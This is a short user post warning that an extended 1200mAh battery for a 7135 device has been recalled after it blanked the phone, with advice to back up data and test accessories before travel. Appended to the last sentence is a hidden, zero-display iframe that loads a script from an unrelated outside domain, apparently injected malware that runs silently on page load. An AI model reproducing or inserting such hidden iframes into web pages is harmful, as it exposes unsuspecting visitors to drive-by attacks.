Just got a great deal from the Wireless Boys on the 1200mah extended battery. At least I though so. BEWARE - these have been recalled. After I tried to install mine for a test (always a smart thing to do before traveling) my 7135 blanked out . I had to call them (Wireless Boys) to find out about the recall. They can cause a hard reset and you will loose all data. Remember to back-up to your SD/MMC Card and always try out 3rd party hardware and software before you might need it><iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
